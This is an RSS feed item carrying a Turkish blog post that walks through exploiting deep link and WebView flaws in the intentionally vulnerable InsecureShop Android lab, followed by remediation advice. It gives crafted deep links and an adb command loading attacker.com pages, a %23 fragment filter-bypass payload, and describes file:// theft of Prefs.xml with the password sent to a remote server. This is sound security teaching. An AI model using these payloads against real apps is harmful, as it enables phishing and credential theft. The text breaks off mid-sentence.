<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Mustafa AĞYAR on Medium]]></title>
        <description><![CDATA[Stories by Mustafa AĞYAR on Medium]]></description>
        <link>https://medium.com/@mustsec?source=rss-bcf88ce7ce16------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*0yd0xZd9sElZpP_XOgKPWg.png</url>
            <title>Stories by Mustafa AĞYAR on Medium</title>
            <link>https://medium.com/@mustsec?source=rss-bcf88ce7ce16------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 22 Nov 2026 08:04:00 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@mustsec/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Tek Bir Link ile Uygulamayı Ele Geçirmek: Deep Link ve WebView İstismarı]]></title>
            <link>https://medium.com/@mustsec/tek-bir-link-ile-uygulamay%C4%B1-ele-ge%C3%A7irmek-deep-link-ve-webview-i%CC%87stismar%C4%B1-ae0d8885d166?source=rss-bcf88ce7ce16------2</link>
            <guid isPermaLink="false">https://medium.com/p/ae0d8885d166</guid>
            <category><![CDATA[webview]]></category>
            <category><![CDATA[application-security]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[mobile-security]]></category>
            <category><![CDATA[deeplink]]></category>
            <dc:creator><![CDATA[Mustafa AĞYAR]]></dc:creator>
            <pubDate>Mon, 13 Apr 2026 09:08:45 GMT</pubDate>
            <atom:updated>2026-04-13T09:08:45.906Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UDu8rJC7oYIhtBo5PhVKDg.png" /><figcaption>Mobil Dünyanın Arka Kapıları: WebView ve DeepLink Zafiyetleri</figcaption></figure><p>Mobil dünyada kullanıcı deneyimini kolaylaştıran Deep Link’ler ve hibrit yapıların kalbi WebView’ler, yanlış bir konfigürasyonla birleştiğinde saldırganlar için “<strong>tek tıkla hesap ele geçirme</strong>” biletine dönüşebiliyor.</p><p>Bu yazıda, <strong>InsecureShop</strong> lab’ı üzerinden bu iki bileşenin nasıl tehlikeli bir ikiliye dönüştüğünü ve adım adım sömürülebildiğini inceleyeceğiz.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/210/1*P7H8v3nOf66Ul1n-mt0IFw.png" /><figcaption>Uygulama Görünümü</figcaption></figure><p><strong>1. Teorik Altyapı: Tehlikeli İkili</strong></p><p><strong>Deep Link Nedir?</strong></p><p>En basit haliyle Deep Link, kullanıcıyı sadece uygulamayı açmaya zorlamakla kalmayıp, uygulama içindeki spesifik bir noktaya (Activity/Fragment) doğrudan fırlatan teknolojidir. Standart bir link sizi ana sayfada bırakırken; Deep Link, uygulamanın derinliklerindeki bir ürüne veya profile adeta “ışınlar”.</p><p><strong>Anatomiyi Anlamak</strong></p><p>Saldırı yüzeyini anlamak için önce yapıyı doğru analiz etmemiz gerekiyor. Bir Deep Link, standart bir URL gibi görünse de her parçası uygulama tarafında farklı bir tetikleyiciyi temsil eder:</p><blockquote><strong>myapp://com.myapp/product?id=10</strong></blockquote><ul><li><strong>Scheme (myapp://):</strong> Uygulamanın işletim sistemindeki kimlik kartı. OS, bu eki gördüğü an hangi uygulamayı uyandıracağını anlar.</li><li><strong>Host (com.myapp):</strong> Genelde paket adını veya ana modülü temsil eder; navigasyonun başladığı yerdir.</li><li><strong>Path (/product):</strong> Uygulama içindeki rotadır; hangi ekranın ayağa kalkacağını söyler.</li><li><strong>Query Parameter (?id=10):</strong> En kritik nokta burası. Sayfaya aktarılan dinamik veridir. Bizim senaryomuzda burası, zafiyete giden kapıyı aralayacak olan parametre.</li></ul><p><strong>2. Teknik İşleyiş:</strong></p><p>Bir Deep Link tıklandığında, işletim sistemi ve uygulama arasında hızlı bir paslaşma gerçekleşir:</p><ol><li><strong>Kayıt (Registration):</strong> Uygulama yüklenirken OS’e; “Eğer myapp:// ile başlayan bir şey görürsen muhatabı benim,” der. Android dünyasında bu işin mutfağı AndroidManifest.xml içindeki <strong>intent-filter</strong>’dır.</li><li><strong>Tetikleme ve Yakalama:</strong> Kullanıcı linke tıkladığında OS devreye girer. Kayıtlı bir uygulama varsa onu ayağa kaldırır, yoksa tarayıcıda hata verir (veya web’e yönlendirir).</li><li><strong>Parsing ve Routing:</strong> Uygulama açılırken OS, tüm URL dizisini bir <strong>Intent</strong> nesnesiyle uygulamaya teslim eder. Uygulama içindeki kod URL’i parçalar; “nereye gidilecek?” ve “hangi veri işlenecek?” sorularına yanıt arayıp kullanıcıyı ilgili ekrana fırlatır.</li></ol><p><strong>Deep Link Türleri: Hangisi Daha Güvenli?</strong></p><p>Saldırı yüzeyini belirleyen en önemli faktör, kullanılan link türüdür:</p><ul><li><strong>Custom Scheme (myapp://):</strong> En temel yöntem. Uygulama yüklü değilse çuvallar. Çakışmalara ve taklit edilmeye müsaittir.</li><li><strong>Deferred (Ertelenmiş) Link:</strong> Kullanıcıyı önce mağazaya gönderir, uygulama yüklendiği an hedef sayfayı açar. Kullanıcı deneyimi dostu ama takibi daha karmaşıktır.</li><li><strong>App Links (Android) / Universal Links (iOS):</strong> Standart https:// protokolünü kullanır. Uygulama varsa uygulama, yoksa web sitesi açılır. <strong>En güvenli ve modern yöntem budur;</strong> çünkü domain doğrulaması gerektirir, saldırganın araya girmesi zordur.</li></ul><p><strong>Neden Bu Yapıyı Kullanıyoruz?</strong></p><p>Deep Link’lerin bu kadar yaygın olmasının (ve dolayısıyla bizim için büyük bir saldırı yüzeyi oluşturmasının) üç temel sebebi var:</p><ul><li>Kullanıcı Deneyimi: Kullanıcıyı uygulama içinde arama yapma zahmetinden kurtarıp, doğrudan hedefe odaklar.</li><li>Dönüşüm: E-posta veya reklamlardan gelen kullanıcıyı direkt ödeme sayfasına fırlatmak, satış oranlarını doğrudan uçurur.</li><li>Analitik Güç: Hangi kampanyanın veya linkin daha çok “hit” aldığını izlemek, kullanıcı davranışını anlamak için altın değerindedir.</li></ul><p><strong>3. WebView: Uygulama İçindeki Truva Atı</strong></p><p>WebView’ı, uygulamanın içine gömülmüş küçük bir tarayıcı penceresi gibi düşünebilirsiniz. Kullanıcıyı dışarı (Chrome’a) atmadan web içeriği göstermemizi sağlar. Ancak bu konforun bir bedeli var: <strong>Yanlış yapılandırılmış bir WebView, uygulamanın tüm yetkilerini saldırgana teslim edebilir.</strong></p><p><strong>Mekanizmanın Kritik Noktaları</strong></p><p>Bir WebView’ı incelerken şu üç noktaya odaklanırız:</p><ol><li><strong>Render Motoru:</strong> Arka planda Chromium tabanlı bir motor çalışır ve her şeyi işler.</li><li><strong>Konfigürasyon:</strong> Geliştiricinin neye izin verdiği her şeydir. <strong>setJavaScriptEnabled(true)</strong> modern web için şart olsa da riskin ilk adımıdır.</li><li><strong>Bridge (Köprü):</strong> <strong>addJavascriptInterface</strong> ile web sayfası içindeki JS kodlarının, cihazın yerel (Java/Kotlin) fonksiyonlarını çağırması sağlanır. İşte “patladığımız” nokta tam burasıdır.</li></ol><p><strong>Hangi Ayarlar Risk Oluşturur?</strong></p><p>Statik analiz yaparken (AndroidManifest veya Java/Kotlin sınıflarında) şu “red flag”lere bakıyoruz:</p><ul><li><strong>JS Injection:</strong> setJavaScriptEnabled(true) açıksa ve yüklenen sayfada bir XSS varsa, saldırgan uygulamanın yetkileriyle kod koşturabilir.</li><li><strong>Javascript Interface (RCE Riski):</strong> Uygulama sınıfları JS’e açılmışsa ve düzgün kısıtlanmamışsa, saldırgan cihazda uzaktan kod çalıştırabilir.</li><li><strong>Dosya Erişimi (Data Leak):</strong> setAllowFileAccess(true) veya setAllowUniversalAccessFromFileURLs(true) ayarları açıksa; saldırgan bir file:// linkiyle uygulamanın özel verilerini (database, shared prefs) çekip alabilir.</li><li><strong>Whitelisting Eksikliği:</strong> WebView’ın hangi URL’leri açacağı kısıtlanmamışsa, uygulama her türlü zararlı siteye kapısını açmış demektir.</li></ul><p><strong>Statik Analiz (JADX-GUI)</strong></p><p>Zafiyet aramada ilk durağımız her zaman AndroidManifest.xml dosyasıdır. Burada bizim için en büyük “red flag”, dış dünyadan tetiklenebilen bileşenleri tespit etmektir. Odak noktamız ise şu iki kavram:</p><ul><li><strong>Exported=”true”:</strong> Bu ifade, söz konusu Activity’nin sadece uygulamanın içinden değil, dışarıdaki diğer uygulamalar veya işletim sistemi tarafından da çağrılabileceği (herkese açık olduğu) anlamına gelir.</li><li><strong>Intent-Filter:</strong> Uygulamanın hangi tür bağlantıları (örneğin bir linke tıklandığında) kabul edeceğini belirleyen bir süzgeçtir. Eğer burada <strong>BROWSABLE</strong> kategorisi varsa, bu ekran bir web tarayıcısı üzerinden bile tetiklenebilir demektir.</li></ul><p><strong>InsecureShop</strong> üzerinde yaptığım incelemede, WebView kullanan 2 ana Activity radara takılıyor:</p><blockquote>com.insecureshop.WebViewActivity</blockquote><blockquote>com.insecureshop.WebView2Activity</blockquote><p><strong>WebViewActivity:</strong></p><p>com.insecureshop.WebViewActivity altında şu satırları görüyoruz:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*zLKLJlzpOAEWrWEWh6rTmg.png" /></figure><p><strong>Manifest Analizi:</strong></p><p>AndroidManifest.xml dosyasındaki şu parça, aslında saldırı planımızın haritasını çıkarıyor:</p><ul><li><strong>Activity:</strong> com.insecureshop.WebViewActivity</li><li><strong>Dışa açık bileşen:</strong> exported=true</li><li><strong>Scheme:</strong> insecureshop://</li><li><strong>Host:</strong> com.insecureshop</li></ul><p>Bu yapılandırma, bir güvenlik uzmanı için şu üç büyük risk anlamına gelir:</p><ol><li><strong>Sınırsız Erişim (Exported Activity):</strong> Activity dış dünyaya tamamen açık. Yani sadece uygulamanın içinden değil, telefondaki herhangi bir zararlı uygulama veya tarayıcı üzerinden bu ekranı kafamıza göre tetikleyebiliriz.</li><li><strong>Custom Scheme Tehlikesi:</strong> https yerine insecureshop:// gibi özel bir şema kullanılmış. Bu şemayı başka bir uygulama da kendi manifestine ekleyip linkleri çalabilir (<strong>Deep Link Hijacking</strong>).</li><li><strong>Giriş Kontrolü Yok:</strong> Uygulama “<strong>host</strong>” kısmına bakıyor ama gelen parametreleri sorgulamıyor. Eğer uygulama <strong>url</strong> parametresini alıp doğrulamadan WebView’a basıyorsa, saldırgan şu basit linkle kontrolü ele alır: insecureshop://com.insecureshop?url=http://saldırgan.com</li></ol><p><strong>Sonuç:</strong> Bu tablo, bizi doğrudan bir <strong>Open Redirect</strong> veya daha kötüsü, WebView yetkilerini kullanarak yapılacak bir <strong>Injection</strong> saldırısına götürüyor.</p><p>WebView kullanımı günümüz Android uygulamalarında oldukça yaygın olsa da, bu bileşenlerin yanlış yapılandırılması çok ciddi güvenlik açıklarına zemin hazırlayabilir. Bu bağlamda, rehberimizin bu bölümünde <strong>WebViewActivity</strong> ve <strong>WebView2Activity</strong> içerisindeki WebView ayarlarını analiz ederek olası riskleri inceleyeceğiz.</p><p><strong>WebViewActivity: Deep Link ve Zayıf Doğrulama Analizi</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/928/1*ZI4er7roZ-cgsie82UolCQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*EI7RyGc2dfqWC-P_ML8QMg.png" /></figure><p><strong>Kodun İçine Dalıyoruz: WebView Yapılandırmaları</strong></p><p>Sadece bu aktivitelerin dışarıya açık olması bir risk teşkil etmez; asıl mesele bu WebView nasıl konfigüre edildiğidir. Kod bloklarını incelediğimizde karşımıza çıkan tablo şu:</p><ul><li><strong>WebViewActivity:</strong> Standart bir görüntüleyici gibi davranıyor ancak dışarıdan gelen URL’leri kontrolsüz kabul ederek “Truva Atı” için kapıyı aralıyor.</li><li><strong>WebView2Activity:</strong> İkinci bir risk katmanı. Burada JavaScript’in açık olup olmadığına ve addJavascriptInterface kullanımına odaklanıyoruz.</li></ul><blockquote>Bir AppSec uzmanı olarak burada ilk sorumuz şu olmalı: <strong>“Bu WebView’lar hangi yetkilere sahip ve ben dışarıdan gönderdiğim bir linkle bu yetkileri manipüle edebilir miyim?</strong></blockquote><p><strong>Kod Analizi: Geliştirici Nerede Hata Yaptı?</strong></p><p>WebViewActivity içindeki veri işleme mantığı, güvenlik dünyasında <strong>“Validation Bypass”</strong> (Doğrulama Atlatma) dersi olarak okutulacak cinsten. Geliştirici bir kontrol mekanizması kurmaya çalışmış ama kapıyı kilitlemeyi unutmuş.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/778/1*l3nR9nrB6BYxo3qMwiwsXA.png" /></figure><p><strong>Kritik Güvenlik Açıkları</strong></p><p>1. <strong>Zayıf Domain Kontrolü:</strong> <strong>contains()</strong> metodu bir güvenlik filtresi değildir. Saldırgan, attacker.com/insecureshopapp.com gibi bir URL ile bu kontrolü saniyeler içinde atlatabilir.</p><p>2. <strong>Fallback Faciası:</strong> Kodun else bloğu tam bir “Trust Boundary Violation” örneği. Doğrulama başarısız olduğunda sistemin durması gerekirken, uygulama gidip aynı tehlikeli URL’i tekrar alıyor ve WebView’a basıyor. Yani kontrol varmış gibi görünüyor ama aslında yok.</p><p>3. <strong>Tutarsız Mantık:</strong> Bazı path’lerde (örneğin /web) hiçbir kontrol yapılmadan doğrudan loadUrl çağrılıyor. Bu, saldırgan için en kestirme yol.</p><p><strong>Etki Analizi</strong></p><p>Bu zayıf halkalar birleştiğinde; saldırgan kullanıcıyı uygulama içinde sahte bir sayfaya çekebilir (<strong>Phishing</strong>), oturum bilgilerini çalabilir veya WebView yetkileriyle cihazda JavaScript koşturabilir.</p><p><strong>WebView Zafiyetleri:</strong></p><p>WebViewActivity ismi, dışarıdan gelen URL’in doğrudan içeride render edileceğine dair en büyük ipucumuz. Bu aktivite üzerindeki BROWSABLE etiketiyle birleşen hatalı konfigürasyonlar, şu “ölümcül” senaryolara kapı açıyor:</p><p><strong>1. Kontrolsüz Girdi (Untrusted URL Load)</strong></p><p>Deep Link üzerinden gelen veri doğrudan WebView’e basılıyorsa, saldırganın eline <strong>Phishing</strong> ve <strong>Session Hijacking</strong> için açık çek verilmiş demektir. Kullanıcı, uygulamanın kendi içinde açılan sahte bir login sayfasını ayırt edemez.</p><p><strong>2. Tehlikeli Flag’ler: Konfigürasyon Hataları</strong></p><p>Kod seviyesindeki şu ayarlar, basit bir yönlendirmeyi tam yetkili bir sömürüye dönüştürür:</p><ul><li><strong>setJavaScriptEnabled(true):</strong> JavaScript aktifse, XSS saldırıları artık kaçınılmazdır. Eğer bir de <strong>Native Bridge</strong> (köprü) varsa, saldırgan uygulama içindeki yerel fonksiyonları tetikleyebilir.</li><li><strong>setAllowUniversalAccessFromFileURLs(true):</strong> Belki de en kritik satır. file:// protokolü üzerinden açılan bir dosyanın, cihazdaki diğer yerel dosyalara ve internet kaynaklarına erişmesine izin verir. Bu, yerel dosyaların (database, shared prefs) çalınması için altın değerindedir.</li><li><strong>setDomStorageEnabled(true):</strong> Local storage’ın açık olması, hassas token ve session bilgilerinin JS tarafından sızdırılma riskini doğurur.</li></ul><p><strong>Saldırı Senaryosu (Exploit Flow)</strong></p><p>Teoriyi bir kenara bırakıp saldırganın gözünden bakalım:</p><ol><li><strong>Oltalamayı Hazırla:</strong> Saldırgan, şu tarz bir link oluşturur: insecureshop://com.insecureshop/web?url=http://attacker.com/sahte-login</li><li><strong>Tetikle:</strong> Kullanıcı linke tıklar, WebViewActivity ayağa kalkar.</li><li><strong>Sızma:</strong> Uygulama, URL’i hiçbir doğrulamadan geçirmeden WebView’e yükler. Kullanıcı, uygulamanın güvenli limanında olduğunu sanırken aslında saldırganın sayfasında kimlik bilgilerini elleriyle teslim eder.</li><li><strong>Derinleş:</strong> Eğer yukarıdaki JS ve File Access izinleri açıksa, saldırgan sadece bilgi çalmakla kalmaz; file:// üzerinden cihazdaki gizli verilere de uzanır.</li></ol><p><strong>Saldırı Vektörü: Filtreyi Kandırmak</strong></p><p>Saldırganın bakış açısıyla, zayıf bir kontrolü atlatmak çocuk oyuncağıdır. Geliştirici sadece “içinde domain geçiyor mu?” diye bakıyorsa, şöyle bir link her zaman geçer:</p><blockquote>https://attacker.com/exploit.html?q=insecureshopapp.com</blockquote><p><strong>Uygulama: İstismar (Exploitation)</strong></p><p><strong>Adım 1: Tetikleme ve Bypass</strong></p><p>Sömürü aşamasında iki farklı zafiyet senaryosuna odaklanıyoruz. Yaptığımız analizde gördük ki geliştirici tutarsız bir kontrol mekanizması kurmuş:</p><ul><li><strong>/web</strong> yolu: Bu path üzerinde hiçbir doğrulama yok. Yani kapı tamamen açık; doğrudan istediğimiz URL’i yükletebiliyoruz.</li><li><strong>/webview</strong> yolu: Burada bir domain kontrolü var ancak sadece string içinde “<strong>insecureshopapp.com</strong>” geçip geçmediğine bakıyor. Saldırganın bu kontrolü atlatması saniyeler sürer (Örn: attacker.com/insecureshopapp.com).</li></ul><p>Laboratuvar ortamında bu durumu simüle etmek için terminalden şu adb komutunu gönderiyoruz:</p><blockquote>adb shell am start -a android.intent.action.VIEW -d “insecureshop://com.insecureshop/web?url=https://attacker.com/poc.html&quot;</blockquote><p><strong>Gerçek Hayatta Bu Saldırı Nasıl Olur?</strong></p><p>Testlerimizde kullandığımız ADB komutu, aslında bir saldırganın hazırlayacağı zararlı bir linkin veya sahte bir uygulamanın yapacağı işi simüle ediyor. Gerçek bir senaryoda saldırgan; kurbanı oltalama (phishing) içerikli bir SMS’e, e-postaya veya web sitesindeki bir linke tıklatarak aynı Intent’i cihaz üzerinde tetikleyebilir.</p><p>Kullanıcı linke tıkladığı an uygulama otomatik olarak açılır ve WebView, saldırganın zararlı sayfasını uygulamanın kendi parçasıymış gibi kullanıcıya sunar.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jZGbsn5KHUtUgAJXwek_Kw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_Hchi2YnQ-oSpD5SHMOMrA.png" /></figure><p><strong>Teknik Analiz: Filtreleri Kandırmak</strong></p><p>Kodda iki farklı hata tipiyle karşılaştık:</p><ul><li><strong>/web</strong> yolu: Tam bir kontrolsüzlük hakim. Hiçbir doğrulama yapılmadığı için istediğimiz URL’i doğrudan içeri basabiliyoruz.</li><li><strong>/webview</strong> yolu: Burada bir tık daha “çaba” var; uygulama URL’in insecureshopapp.com ile bitip bitmediğine (endsWith) bakıyor. Ancak bu, bir AppSec uzmanı için sadece bir “hız tümseği”.</li></ul><p><strong>Bypass Mantığı</strong></p><p>Bu tarz basit kontrolleri atlatmanın en eski numarası URL Fragment (#) kullanmaktır.</p><blockquote><strong>Payload</strong>: https://attacker.com/poc.html%23insecureshopapp.com</blockquote><p><strong>Neden çalışıyor?</strong> Uygulama kodundaki endsWith kontrolü dizinin sonuna bakar ve “<strong>Tamam, güvenli domainle bitiyor</strong>” diyerek geçit verir. Ancak WebView bu URL’i açarken <strong>%23 (#)</strong> işaretinden sonrasını görmezden gelir. Sonuç: Uygulama bizim zararlı sitemize giderken, kod tarafındaki basit filtreyi arkada bırakmış oluyoruz.</p><p><strong>Gerçek Hayat Senaryosu</strong></p><p>Testlerde kullandığımız ADB komutları işin laboratuvar kısmı. Gerçek hayatta saldırgan bu linki bir SMS veya oltalama e-postasıyla kurbana ulaştırır. Kullanıcı linke tıkladığı an uygulama tetiklenir ve WebView, saldırganın sayfasını “uygulamanın kendi parçasıymış gibi” render eder.</p><p><strong>Phishing ile Kimlik Avı</strong></p><p>Zafiyeti somutlaştırmak için saldırganın kurbanı nasıl avladığını adım adım izleyelim:</p><ol><li><strong>Oltalama:</strong> Kendi sunucumuzda uygulamanın giriş ekranıyla birebir aynı veya benzer görünen sahte bir sayfa hazırlıyoruz.</li><li><strong>Sızma:</strong> Hazırladığımız bypass linkini kullanıcıya gönderiyoruz. Link tıklandığında telefon tarayıcıya gitmek yerine <strong>InsecureShop</strong> uygulamasını açıyor.</li><li><strong>Sahte Güven:</strong> Kullanıcı uygulamanın içinde olduğu için karşısındaki ekranı orijinal sanıyor (çünkü WebView’da adres çubuğu yok!).</li><li><strong>Etki:</strong> Kullanıcı giriş yaptığı an, kimlik bilgileri saniyeler içinde bizim sunucumuza düşüyor.</li></ol><p><strong>Sonuç:</strong> Tek bir linkle, kullanıcı hiçbir anormallik hissetmeden hesabını elleriyle teslim etmiş oluyor.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sFPgruYZjg7Rr0xhyZ-VPQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/935/1*1m9Xz1IJ3ng0X5f_DipCYw.png" /></figure><p><strong>WebView2Activity:</strong></p><p>com.insecureshop.WebView2Activity altında şu satırları görüyoruz:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*mPEYHQ4cmNnHafiHDEtp8A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*qYyfYftNYHuHnRpvKBfW-A.png" /></figure><p><strong>WebView2Activity: Güvenlik Filtresinin Yokluğu</strong></p><p>WebView2Activity bileşenini incelediğimizde, güvenliğin tamamen “<strong>boş verilmiş</strong>” olduğunu görüyoruz. Buradaki temel sorun, uygulamanın dış dünyadan gelen her veriyi sorgusuz sualsiz kabul etmesi.</p><p><strong>Analiz: Nerede Hata Yapıldı?</strong></p><p>Geliştirici, dışarıdan gelen veriyi <strong>(intent.getDataString())</strong> sadece <strong>“içerik boş mu?”</strong> diye kontrol etmiş. Verinin ne olduğuna, hangi protokolle <strong>(http, file, javascript vb.) </strong>geldiğine veya nereyi hedeflediğine dair hiçbir denetim koymamış. Bu ham veri, olduğu gibi <strong>webview.loadUrl()</strong> fonksiyonuna paslanıyor. Bu durum, WebView’ı saldırganın istediği gibi kullanabileceği bir silaha dönüştürüyor.</p><p><strong>Olası Felaket Senaryoları</strong></p><p>Bu denetimsizlik şu üç büyük riski beraberinde getiriyor:</p><ul><li><strong>Veri Sızıntısı:</strong> Saldırgan file:// protokolüyle uygulamanın gizli veritabanlarına veya ayar dosyalarına (shared preferences) rahatça erişebilir.</li><li><strong>Kod Enjeksiyonu:</strong> javascript: protokolü kullanılarak uygulama içinde zararlı script’ler koşturulabilir (XSS).</li><li><strong>Oltalama (Phishing):</strong> Kullanıcı, güvenli uygulama ortamında olduğunu sanırken saldırganın sahte web sitesine yönlendirilebilir ve bilgileri çalınabilir.</li></ul><p><strong>Özetle:</strong> Bu kod yapısı, “kapıya geleni içeri al” mantığıyla çalıştığı için tam bir güvenlik faciası.</p><p><strong>Uygulama: İstismar (Exploitation)</strong></p><p><strong>WebView2Activity: Tam Yetkili Erişim ve Veri Sızıntısı</strong></p><p>WebView2Activity üzerindeki denetimsizliği kanıtlamak için üç aşamalı bir test sürecini göreceğiz. Bu testler, basit bir yönlendirmeden kritik veri hırsızlığına giden süreci net bir şekilde ortaya koyuyor:</p><p><strong>1. Dış Dünyaya Açılan Kapı</strong></p><p>İlk komutumuzla, uygulamayı kendi Medium sayfamıza yönlendiriyoruz. Herhangi bir whitelist kontrolü olmadığı için uygulama, dışarıdan gelen bu isteği sorgusuz sualsiz kabul ediyor ve sayfayı uygulama içinde render ediyor.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qehM7H28c8gZ2aaU_tHh5g.png" /></figure><p><strong>2. Yerel Dosya Erişimi (Local File Theft)</strong></p><p>İşleri biraz daha ciddileştiriyoruz. <strong>file://</strong> protokolü üzerinden uygulamanın özel dizinine erişmeyi deniyoruz. Sonuç; uygulamanın hassas verilerini sakladığı <strong>Prefs.xml </strong>dosyasını WebView üzerinde görüntülemeyi başarıyoruz. Bu, uygulamanın sandbox güvenliğinin bypass edildiği andır.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*x5JkRdpFn_t8gssfPr4mXQ.png" /></figure><p><strong>3. Final: Kullanıcı Parolasının Çalınması (Exfiltration)</strong></p><p>En kritik aşamada, hazırladığımız bir <strong>PoC (Proof of Concept)</strong> dosyasını devreye alıyoruz. Bu saldırıda WebView, yerel dosya sistemindeki <strong>Prefs.xml</strong> dosyasını okuyor ve içerisindeki kullanıcı parolasını bizim kontrolümüzdeki uzak sunucuya (Burp Collaborator) gönderiyor.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6sgra_0N8zgWFoFjl7X_mw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/771/1*14sNP1SvkryuewrhhwtFNQ.png" /></figure><p><strong>Sonuç:</strong> Kullanıcı hiçbir şey fark etmeden, sadece bir linkin tetiklenmesiyle tüm giriş bilgileri saldırganın eline geçmiş oluyor. Bu senaryo, kontrolsüz bir WebView’ın nasıl bir casus yazılıma dönüşebileceğinin en somut kanıtıdır.</p><p><strong>Çözüm ve Güvenlik Önerileri (Best Practices)</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*i1pQfxQo7-FBWTOf2GQnxw.png" /><figcaption>Arka Kapıları Kapatmak: WebView ve DeepLink Güvenliğinde Altın Standartlar</figcaption></figure><p>Analiz ettiğimiz bu zafiyetlerin temelinde <strong>güvenli kodlama prensiplerinin</strong> ihlal edilmesi yatıyor. OWASP MASVS (Mobile Application Security Verification Standard) standartlarını baz alarak bu açıkların önüne nasıl geçebileceğinizi özetledim:</p><p><strong>1. WebView Güvenliğini Sıkılaştırın</strong></p><p>WebView, doğası gereği dış dünyaya açılan riskli bir penceredir.</p><ul><li><strong>JavaScript’i Kısıtlayın:</strong> Eğer web sayfanız statikse <strong>setJavaScriptEnabled(false)</strong> yapın. Mecbursanız, sadece güvenli domainlerde aktif edin.</li><li><strong>Dosya Erişimini Kapatın:</strong> <strong>setAllowFileAccess(false)</strong> ayarını mutlaka kullanın. <strong>Android 11+</strong> sürümlerinde varsayılan kapalı olsa da, yanlış yapılandırma durumunda <strong>file://</strong> protokolü üzerinden uygulamanın özel dizinine (/data/data/…) sızılabilir. Bu, <strong>shared_prefs</strong> veya <strong>veritabanlarındaki hassas tokenların</strong> çalınması için en kestirme yoldur.”</li><li><strong>Arayüz Kontrolü:</strong> addJavascriptInterface kullanırken <strong>@JavascriptInterface</strong> anotasyonuna dikkat edin ve sadece gerekli fonksiyonları dışa açın.</li></ul><p><strong>2. Girdi Doğrulama (Input Validation) — Whitelist Stratejisi</strong></p><p><strong>endsWith()</strong> veya <strong>contains()</strong> gibi zayıf kontroller yerine <strong>Whitelist (Beyaz Liste)</strong> yöntemini kullanın:</p><ul><li>Sadece güvenli domainlerin yüklenmesine izin veren bir <strong>Whitelist</strong> mekanizması kurun. Gelen URL’i <strong>Uri.parse()</strong> ile parçalara ayırarak <strong>getHost()</strong> değerini <strong>tam eşleşme (equals)</strong> ile kontrol edin ve protokolün mutlaka https olduğunu doğrulayın..</li></ul><p><strong>Ek Güvenlik (Android 15+):</strong> Kod seviyesindeki kontroller (Java/Kotlin) birincil savunma hattınızdır. <strong>Android 15+</strong> cihazlar için <strong>UriRelativeFilterGroup</strong> kullanarak bu savunmayı manifest seviyesinde <strong>ek bir katmanla</strong> güçlendirin.</p><p><strong>3. Intent ve Component Güvenliği: Neden App Links ve Universal Links</strong></p><p>Uygulamanın dışarıya açılan kapılarını (Activities) kontrol altında tutun:</p><ul><li><strong>Exported=”false”:</strong> Eğer bir Activity’nin dışarıdan (başka uygulamalar veya linkler aracılığıyla) tetiklenmesine gerek yoksa, <strong>AndroidManifest.xml</strong> dosyasında <strong>android:exported=”false”</strong> olarak işaretleyin.</li></ul><p>· <strong>App Links ve Universal Links Nedir?</strong></p><p>Geleneksel “<strong>Custom Scheme</strong>” (<strong>insecureshop://</strong>) yöntemi doğrulanamaz. Yani telefonunuza yüklü herhangi bir zararlı uygulama da aynı şemayı sahiplenip sizin yerinize gelen verileri çalabilir. <strong>App Links/Universal Links</strong> ise standart <strong>https://</strong> protokolünü kullanır ve işletim sistemi düzeyinde bir sahiplik doğrulaması yapar.</p><p><strong>Doğrulama Süreci Nasıl Çalışır?</strong></p><p>Sistem, “Bu linki gerçekten bu uygulama mı açmalı?” sorusuna şu şekilde cevap bulur:</p><ul><li><strong>Güven Dosyası:</strong> Geliştirici, web sitesinin<strong> /.well-known/</strong> dizinine bir doğrulama dosyası yükler (<strong>Android için assetlinks.json, iOS için apple-app-site-association</strong>).</li><li><strong>Kimlik Eşleştirme:</strong> Bu dosya, uygulamanın kimlik bilgilerini (<strong>Android’de SHA-256 imzası, iOS’te Team ID/Bundle ID</strong>) içerir.</li><li><strong>Sistem Onayı:</strong> Uygulama yüklendiğinde işletim sistemi bu dosyayı kontrol eder. Bilgiler eşleşirse, link doğrudan ve güvenli bir şekilde ilgili uygulama ile açılır.</li></ul><p><strong>Sonuç:</strong> Bu yöntemle, araya girme saldırıları (Intent Hijacking) engellenir ve kullanıcıya “Hangi uygulama ile açılsın?” sorusu sorulmadan güvenli erişim sağlanır.</p><p><strong>4. Hassas Verilerin Yerel Korunması</strong></p><p>Mobil cihazda veriler <strong>“at-rest”</strong> (bekleme) halindeyken, cihazın fiziksel olarak çalınması veya root/jailbreak işlemlerine karşı şifrelenmiş olmalıdır.</p><ul><li><strong>Android (EncryptedSharedPreferences &amp; Keystore):</strong> Standart SharedPreferences veriyi düz metin olarak tutar. Bunun 